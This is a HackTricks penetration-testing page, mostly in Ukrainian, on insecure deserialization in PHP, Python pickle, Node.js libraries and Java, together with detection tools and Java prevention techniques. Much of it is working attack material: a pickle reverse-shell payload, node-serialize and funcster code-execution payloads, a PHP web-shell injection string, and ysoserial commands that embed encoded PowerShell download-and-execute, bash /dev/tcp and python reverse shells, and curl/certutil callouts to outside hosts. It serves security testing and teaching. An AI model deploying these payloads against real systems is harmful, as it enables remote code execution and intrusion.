Deserialization
Reading time: 41 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Основна інформація
Serialization розуміється як метод перетворення об'єкта в формат, який можна зберегти, з метою або зберігання об'єкта, або передачі його в рамках процесу комунікації. Ця техніка зазвичай використовується, щоб забезпечити можливість відтворення об'єкта пізніше, збереження його структури та стану.
Deserialization, навпаки, — це процес, що протилежний Serialization. Він включає взяття даних, структурованих у певному форматі, і відтворення їх назад в об'єкт.
Deserialization може бути небезпечною, оскільки потенційно дозволяє зловмисникам маніпулювати серіалізованими даними для виконання шкідливого коду або спричиняти непередбачену поведінку додатку під час процесу реконструкції об'єкта.
PHP
У PHP під час процесів serialization та deserialization використовуються специфічні magic methods:
__sleep
: Викликається, коли об'єкт серіалізується. Цей метод має повернути масив імен усіх властивостей об'єкта, які слід серіалізувати. Зазвичай використовується для фіксації очікувальних даних або виконання подібних операцій очищення.__wakeup
: Called when an object is being deserialized. It's used to reestablish any database connections that may have been lost during serialization and perform other reinitialization tasks.__unserialize
: This method is called instead of__wakeup
(if it exists) when an object is being deserialized. It gives more control over the deserialization process compared to__wakeup
.__destruct
: Цей метод викликається, коли об'єкт збираються знищити або коли скрипт закінчується. Зазвичай використовується для завдань очищення, наприклад закриття файлових дескрипторів або підключень до бази даних.__toString
: Цей метод дозволяє трактувати об'єкт як рядок. Його можна використовувати для читання файлу або інших задач, що базуються на викликах функцій всередині нього, фактично забезпечуючи текстове представлення об'єкта.
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}
$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();
/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />
php > $ser=serialize($o);
__sleep method called
php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}
php > $unser=unserialize($ser);
__wakeup method called
__destruct method called
php > $unser->displaystring();
This is a test<br />
*/
?>
Якщо подивитися на результати, можна побачити, що функції __wakeup
та __destruct
викликаються при десеріалізації об'єкта. Зауважте, що в кількох підручниках зустрічається твердження, що функція __toString
викликається при спробі вивести певний атрибут, але, виявляється, це більше не відбувається.
warning
Метод __unserialize(array $data)
викликається замість __wakeup()
, якщо він реалізований у класі. Він дозволяє десеріалізувати об'єкт, надаючи серіалізовані дані як масив. Ви можете використовувати цей метод для десеріалізації властивостей і виконання будь-яких необхідних дій під час десеріалізації.
class MyClass {
private $property;
public function __unserialize(array $data): void {
$this->property = $data['property'];
// Perform any necessary tasks upon deserialization.
}
}
Докладний приклад PHP можна прочитати тут: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, тут https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf або тут https://securitycafe.ro/2015/01/05/understanding-php-object-injection/
PHP Deserial + Autoload Classes
Ви можете зловживати функціональністю PHP autoload, щоб завантажувати довільні php файли та інше:
PHP - Deserialization + Autoload Classes
Серіалізація значень-посилань
Якщо з якоїсь причини ви хочете серіалізувати значення як посилання на інше серіалізоване значення, ви можете:
<?php
class AClass {
public $param1;
public $param2;
}
$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);
Preventing PHP Object Injection with allowed_classes
info
Підтримка другого аргументу функції unserialize()
(масив $options
) була додана в PHP 7.0. У старіших версіях функція приймає тільки серіалізований рядок, що робить неможливим обмежити, які класи можуть бути створені.
unserialize()
буде створювати екземпляр кожного класу який він знайде в серіалізованому потоці, якщо не вказано інше. Починаючи з PHP 7, поведінку можна обмежити за допомогою опції allowed_classes
:
// NEVER DO THIS – full object instantiation
$object = unserialize($userControlledData);
// SAFER – disable object instantiation completely
$object = unserialize($userControlledData, [
'allowed_classes' => false // no classes may be created
]);
// Granular – only allow a strict white-list of models
$object = unserialize($userControlledData, [
'allowed_classes' => [MyModel::class, DateTime::class]
]);
Якщо allowed_classes
опущено або код виконується на PHP < 7.0, виклик стає небезпечним, оскільки атакувальник може створити payload, який зловживає магічними методами, такими як __wakeup()
або __destruct()
, щоб досягти Remote Code Execution (RCE).
Реальний приклад: Everest Forms (WordPress) CVE-2025-52709
Плагін WordPress Everest Forms ≤ 3.2.2 намагався діяти захисно за допомогою допоміжної обгортки, але забув про старі версії PHP:
function evf_maybe_unserialize($data, $options = array()) {
if (is_serialized($data)) {
if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
// SAFE branch (PHP ≥ 7.1)
$options = wp_parse_args($options, array('allowed_classes' => false));
return @unserialize(trim($data), $options);
}
// DANGEROUS branch (PHP < 7.1)
return @unserialize(trim($data));
}
return $data;
}
На серверах, які все ще працювали на PHP ≤ 7.0, ця друга гілка призводила до класичної PHP Object Injection, коли адміністратор відкривав зловмисну відправку форми. Мінімальний exploit payload може виглядати так:
O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}
Як тільки адмін переглянув запис, об'єкт було інстанціювано і SomeClass::__destruct()
було виконано, що призвело до виконання довільного коду.
Висновки
- Завжди передавайте
['allowed_classes' => false]
(або суворий білий список) при викликуunserialize()
. - Перевіряйте захисні обгортки – вони часто забувають про застарілі гілки PHP.
- Оновлення до PHP ≥ 7.x саме по собі не є достатнім: опцію все одно потрібно передавати явно.
PHPGGC (ysoserial for PHP)
PHPGGC може допомогти вам згенерувати payloads для зловживання PHP deserializations.
Зверніть увагу, що в деяких випадках ви не зможете знайти спосіб зловживати deserialization в коді програми, але можете зловживати кодом зовнішніх PHP-розширень.
Отже, якщо можете, перевірте phpinfo()
на сервері і пошукайте в інтернеті (навіть серед gadgets PHPGGC) можливі gadget-и, якими можна зловживати.
phar:// metadata deserialization
Якщо ви знайшли LFI, який просто читає файл і не виконує php код всередині нього, наприклад використовуючи функції file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize(). Ви можете спробувати зловживати deserialization, яка відбувається під час читання файлу за допомогою протоколу phar.
Для детальнішої інформації прочитайте наступний пост:
Python
Pickle
When the object gets unpickle, the function ___reduce___ will be executed.
When exploited, server could return an error.
import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))
Перш ніж перевіряти техніку обходу, спробуйте використати print(base64.b64encode(pickle.dumps(P(),2)))
, щоб згенерувати об'єкт, сумісний з python2, якщо ви запускаєте python3.
For more information about escaping from pickle jails check:
Yaml & jsonpickle
Наступна сторінка описує техніку зловживання небезпечним десеріалізуванням у yamls python libraries і завершується інструментом, який можна використати для генерації RCE deserialization payload для Pickle, PyYAML, jsonpickle and ruamel.yaml:
Class Pollution (Python Prototype Pollution)
Class Pollution (Python's Prototype Pollution)
NodeJS
JS Magic Functions
JS doesn't have "magic" functions like PHP or Python that are going to be executed just for creating an object. But it has some functions that are frequently used even without directly calling them such as toString
, valueOf
, toJSON
.
If abusing a deserialization you can compromise these functions to execute other code (potentially abusing prototype pollutions) you could execute arbitrary code when they are called.
Another "magic" way to call a function without calling it directly is by compromising an object that is returned by an async function (promise). Because, if you transform that return object in another promise with a property called "then" of type function, it will be executed just because it's returned by another promise. Follow this link for more info.
// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise((resolve) => {
console.log("hello")
resolve()
})
return p
}
async function test_then() {
const p = new Promise((then) => {
console.log("hello")
return 1
})
return p
}
test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
__proto__
and prototype
pollution
Якщо ви хочете дізнатися про цю техніку перегляньте наступний підручник:
NodeJS - proto & prototype Pollution
node-serialize
Ця бібліотека дозволяє серіалізувати функції. Приклад:
var y = {
rce: function () {
require("child_process").exec("ls /", function (error, stdout, stderr) {
console.log(stdout)
})
},
}
var serialize = require("node-serialize")
var payload_serialized = serialize.serialize(y)
console.log("Serialized: \n" + payload_serialized)
серіалізований об'єкт виглядатиме так:
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
Як видно в прикладі, коли функція серіалізується, прапорець _$$ND_FUNC$$_
додається до серіалізованого об'єкта.
У файлі node-serialize/lib/serialize.js
можна знайти той самий прапорець і як код його використовує.
Як видно в останньому фрагменті коду, якщо прапорець знайдено, для десеріалізації функції використовується eval
, тож по суті вхідні дані користувача використовуються всередині eval
.
Однак саме по собі серіалізування функції не виконає її, бо для цього потрібна частина коду, яка викликає y.rce
в нашому прикладі, і це дуже неімовірно.
У будь-якому разі, ви можете просто змінити серіалізований об'єкт, додавши дужки, щоб автoвиконати серіалізовану функцію під час десеріалізації.
У наступному фрагменті коду зверніть увагу на останню дужку і на те, як функція unserialize
автоматично виконає код:
var serialize = require("node-serialize")
var test = {
rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()",
}
serialize.unserialize(test)
Як вже було вказано, ця бібліотека отримає код після _$$ND_FUNC$$_
і виконає його за допомогою eval
. Тому, щоб автоматично виконати код, ви можете видалити частину створення функції та останню дужку й просто виконати JS oneliner як у наступному прикладі:
var serialize = require("node-serialize")
var test =
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
serialize.unserialize(test)
Ви можете find here додаткову інформацію про те, як експлуатувати цю вразливість.
funcster
Важливим аспектом funcster є недоступність стандартних вбудованих об'єктів; вони виходять за межі доступної області. Це обмеження перешкоджає виконанню коду, який намагається викликати методи вбудованих об'єктів, що призводить до виключень, таких як "ReferenceError: console is not defined", коли виконуються команди на кшталт console.log()
або require(something)
.
Незважаючи на це обмеження, відновлення повного доступу до глобального контексту, включаючи всі стандартні вбудовані об'єкти, можливе за допомогою конкретного підходу. Використовуючи глобальний контекст безпосередньо, можна обійти це обмеження. Наприклад, доступ можна відновити за допомогою наступного фрагмента:
funcster = require("funcster")
//Serialization
var test = funcster.serialize(function () {
return "Hello world!"
})
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }
//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = {
__js_function: 'this.constructor.constructor("console.log(1111)")()',
}
funcster.deepDeserialize(desertest2)
var desertest3 = {
__js_function:
"this.constructor.constructor(\"require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\")()",
}
funcster.deepDeserialize(desertest3)
Для more information read this source.
serialize-javascript
Пакет serialize-javascript призначений виключно для serialization і не має вбудованих можливостей для deserialization. Користувачі повинні реалізувати власний метод для deserialization. В офіційному прикладі для deserializing serialized data пропонується пряме використання eval
:
function deserialize(serializedJavascript) {
return eval("(" + serializedJavascript + ")")
}
Якщо ця функція використовується для десеріалізації об'єктів, ви можете easily exploit it:
var serialize = require("serialize-javascript")
//Serialization
var test = serialize(function () {
return "Hello world!"
})
console.log(test) //function() { return "Hello world!" }
//Deserialization
var test =
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)
Для детальнішої інформації див. це джерело.
Cryo library
На наступних сторінках ви можете знайти інформацію про те, як зловживати цією бібліотекою для виконання довільних команд:
- https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/
- https://hackerone.com/reports/350418
Java - HTTP
У Java, deserialization callbacks виконуються під час процесу deserialization. Це виконання може бути використане зловмисниками, які створюють шкідливі payloads, що тригерять ці callbacks, і може призвести до потенційного виконання небезпечних дій.
Fingerprints
White Box
Щоб ідентифікувати потенційні serialization вразливості в кодовій базі, шукайте:
- Класи, які реалізують інтерфейс
Serializable
. - Використання
java.io.ObjectInputStream
,readObject
,readUnshare
.
Зверніть особливу увагу на:
XMLDecoder
, використаний з параметрами, які задаються зовнішніми користувачами.- Метод
fromXML
вXStream
, особливо якщо версія XStream менша або дорівнює 1.46, оскільки вона вразлива до serialization проблем. ObjectInputStream
у поєднанні з методомreadObject
.- Реалізації методів таких як
readObject
,readObjectNodData
,readResolve
, абоreadExternal
. ObjectInputStream.readUnshared
.- Загальне використання
Serializable
.
Black Box
Для Black Box тестування шукайте специфічні signatures or "Magic Bytes", які позначають java serialized objects (що походять від ObjectInputStream
):
- Hexadecimal pattern:
AC ED 00 05
. - Base64 pattern:
rO0
. - HTTP response headers with
Content-type
set toapplication/x-java-serialized-object
. - Hexadecimal pattern indicating prior compression:
1F 8B 08 00
. - Base64 pattern indicating prior compression:
H4sIA
. - Web files with the
.faces
extension and thefaces.ViewState
parameter. Виявлення цих патернів у веб-застосунку має спричинити перевірку, як описано в статті про Java JSF ViewState Deserialization.
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
Перевірити на наявність вразливості
Якщо ви хочете дізнатися, як працює Java Deserialized exploit, ознайомтеся з Basic Java Deserialization, Java DNS Deserialization та CommonsCollection1 Payload.
SignedObject-gated deserialization and pre-auth reachability
Сучасні codebases інколи обгортають deserialization у java.security.SignedObject
та перевіряють підпис перед викликом getObject()
(який десеріалізує вкладений об'єкт). Це запобігає використанню довільних top-level gadget classes, але все ще може бути експлуатовано, якщо attacker зможе отримати валідний підпис (наприклад, компрометація приватного ключа або signing oracle). Крім того, error-handling flows можуть створювати session-bound tokens для unauthenticated users, роблячи доступними в іншому разі захищені sinks pre-auth.
Для конкретного кейсу з запитами, IoCs та рекомендаціями щодо захисту див.:
Java Signedobject Gated Deserialization
White Box Test
Ви можете перевірити, чи встановлено будь-який application із відомими вразливостями.
find . -iname "*commons*collection*"
grep -R InvokeTransformer .
Ви можете спробувати перевірити всі бібліотеки, відомі як вразливі, для яких Ysoserial може надати експлойт. Або ви можете перевірити бібліотеки, вказані в Java-Deserialization-Cheat-Sheet.
Також можна використати gadgetinspector для пошуку можливих gadget chains, які можна експлуатувати.
Під час запуску gadgetinspector (після збірки) не звертайте уваги на велику кількість попереджень/помилок і дайте йому завершити роботу. Він запише всі результати у gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt. Зверніть увагу, що gadgetinspector не створює експлойт і може показувати false positives.
Black Box Test
Використовуючи розширення Burp gadgetprobe, ви можете ідентифікувати які бібліотеки доступні (і навіть їхні версії). З цією інформацією може бути легше обрати payload для експлуатації вразливості.
Read this to learn more about GadgetProbe.
GadgetProbe орієнтований на ObjectInputStream
десеріалізації.
Використовуючи розширення Burp Java Deserialization Scanner, ви можете виявити вразливі бібліотеки, які можна експлуатувати за допомогою ysoserial, та експлуатувати їх.
Read this to learn more about Java Deserialization Scanner.
Java Deserialization Scanner орієнтований на десеріалізації ObjectInputStream
.
Ви також можете використати Freddy для виявлення вразливостей десеріалізації у Burp. Цей плагін виявляє не лише уразливості, пов'язані з ObjectInputStream
, але також вразливості з бібліотек десеріалізації Json та Yml. В активному режимі він спробує підтвердити їх за допомогою sleep або DNS payload-ів.
You can find more information about Freddy here.
Serialization Test
Не все зводиться до перевірки, чи використовується на сервері якась вразлива бібліотека. Іноді ви можете змінити дані всередині серіалізованого об'єкта і обійти деякі перевірки (можливо це дасть вам права admin всередині webapp).
Якщо ви знаходите java serialized object, що надсилається в вебдодаток, ви можете використати SerializationDumper щоб надрукувати у більш зрозумілому для людини форматі серіалізований об'єкт, який надсилається. Знаючи, які дані ви відправляєте, буде легше їх змінити і обійти деякі перевірки.
Exploit
ysoserial
Головним інструментом для експлуатації Java десеріалізацій є ysoserial (download here). Ви також можете розглянути використання ysoseral-modified, який дозволить використовувати складні команди (наприклад з pipes).
Зверніть увагу, що цей інструмент орієнтований на експлуатацію ObjectInputStream
.
Я б почав з використання payload "URLDNS" перед RCE payload-ом, щоб перевірити, чи можлива інʼєкція. У будь-якому разі зауважте, що payload "URLDNS" може не спрацювати, тоді як інший RCE payload може працювати.
# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"
#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"
# Base64 encode payload in base64
base64 -w0 payload
При створенні payload для java.lang.Runtime.exec() ви не можете використовувати спеціальні символи такі як ">" або "|" для перенаправлення виводу виконання, "$()" для виконання команд або навіть передавати аргументи команді, розділені пробілами (ви можете зробити echo -n "hello world"
але не можете зробити python2 -c 'print "Hello world"'
). В order to encode correctly the payload you could use this webpage.
Не соромтеся використовувати наступний скрипт для створення all the possible code execution payloads для Windows і Linux і потім протестувати їх на вразливій веб-сторінці:
import os
import base64
# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')
generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
serialkillerbypassgadgets
Ви можете використовувати https://github.com/pwntester/SerialKillerBypassGadgetCollection разом із ysoserial для створення додаткових exploits. Більше інформації про цей інструмент у слайдах доповіді, де інструмент було представлено: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1
marshalsec
marshalsec можна використовувати для генерації payloads, які exploit різні бібліотеки серіалізації Json та Yml у Java.
Щоб скомпілювати проект, мені довелося додати ці залежності до pom.xml
:
<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>
<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>
Встановіть maven, і скомпілюйте проект:
sudo apt-get install maven
mvn clean package -DskipTests
FastJSON
Детальніше про цю Java JSON-бібліотеку: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html
Лабораторні вправи
- Якщо ви хочете протестувати деякі ysoserial payloads, ви можете запустити цей webapp: https://github.com/hvqzao/java-deserialize-webapp
- https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/
Чому
Java широко використовує серіалізацію для різних цілей, таких як:
- HTTP requests: Серіалізація широко використовується при обробці параметрів, ViewState, cookies тощо.
- RMI (Remote Method Invocation): Протокол Java RMI, який повністю спирається на серіалізацію, є основою для віддаленої взаємодії в Java-додатках.
- RMI over HTTP: Цей метод зазвичай використовується Java-based thick client web applications, які використовують серіалізацію для всієї комунікації об'єктів.
- JMX (Java Management Extensions): JMX використовує серіалізацію для передачі об'єктів по мережі.
- Custom Protocols: У Java стандартною практикою є передача raw Java objects, що буде продемонстровано в наступних exploit examples.
Prevention
Transient objects
Клас, який реалізує Serializable
, може позначати як transient
будь-який об'єкт всередині класу, який не повинен бути серіалізований. Наприклад:
public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient
Уникайте серіалізації класу, який повинен реалізувати Serializable
У випадках, коли певні об'єкти повинні реалізовувати інтерфейс Serializable
через ієрархію класів, існує ризик ненавмисної десеріалізації. Щоб запобігти цьому, переконайтеся, що ці об'єкти не піддаються десеріалізації, визначивши final
readObject()
метод, який завжди кидає виняток, як показано нижче:
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}
Покращення безпеки десеріалізації в Java
Налаштування java.io.ObjectInputStream
— практичний підхід для захисту процесів десеріалізації. Цей метод підходить, коли:
- Код десеріалізації знаходиться під вашим контролем.
- Класи, очікувані для десеріалізації, відомі.
Переоприділіть метод resolveClass()
, щоб обмежити десеріалізацію тільки дозволеними класами. Це запобігає десеріалізації будь-якого класу, крім явно дозволених, як у наведеному нижче прикладі, що обмежує десеріалізацію лише класом Bicycle
:
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {
public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}
/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}
Using a Java Agent for Security Enhancement пропонує резервне рішення, коли модифікація коду неможлива. Цей метод застосовується переважно для blacklisting harmful classes, з використанням параметра JVM:
-javaagent:name-of-agent.jar
Воно надає спосіб захистити десеріалізацію динамічно, що ідеально підходить для середовищ, де негайні зміни коду неможливі.
Перегляньте приклад у rO0 by Contrast Security
Впровадження фільтрів серіалізації: Java 9 introduced serialization filters via the ObjectInputFilter
interface, providing a powerful mechanism for specifying criteria that serialized objects must meet before being deserialized. These filters can be applied globally or per stream, offering a granular control over the deserialization process.
Щоб використовувати фільтри серіалізації, можна встановити глобальний фільтр, який застосовується до всіх операцій десеріалізації, або налаштувати його динамічно для конкретних потоків. Наприклад:
ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);
Використання зовнішніх бібліотек для підвищення безпеки: Бібліотеки такі як NotSoSerial, jdeserialize та Kryo пропонують розширені можливості для контролю та моніторингу Java десеріалізації. Ці бібліотеки можуть забезпечувати додаткові рівні захисту, наприклад білi/чорні списки класів, аналіз серіалізованих об’єктів перед десеріалізацією та впровадження кастомних стратегій серіалізації.
- NotSoSerial перехоплює процеси десеріалізації, щоб запобігти виконанню неперевіреного коду.
- jdeserialize дозволяє аналізувати серіалізовані Java-об’єкти без їх десеріалізації, що допомагає виявити потенційно шкідливий вміст.
- Kryo — альтернативний фреймворк для серіалізації, який робить акцент на швидкості та ефективності, пропонуючи конфігуровані стратегії серіалізації, що можуть підвищити безпеку.
References
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
- Deserialization and ysoserial talk: http://frohoff.github.io/appseccali-marshalling-pickles/
- https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
- https://www.youtube.com/watch?v=VviY3O-euVQ
- Talk about gadgetinspector: https://www.youtube.com/watch?v=wPbW6zQ52w8 and slides: https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf
- Marshalsec paper: https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true
- https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr
- https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html
- https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html
- Java and .Net JSON deserialization paper: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, talk: https://www.youtube.com/watch?v=oUAeWhW5b8c and slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- Deserialziations CVEs: https://paper.seebug.org/123/
JNDI Injection & log4Shell
Дізнайтеся, що таке JNDI Injection, як зловживати ним через RMI, CORBA & LDAP та як експлуатувати log4shell (і приклад цієї вразливості) на наступній сторінці:
JNDI - Java Naming and Directory Interface & Log4Shell
JMS - Java Message Service
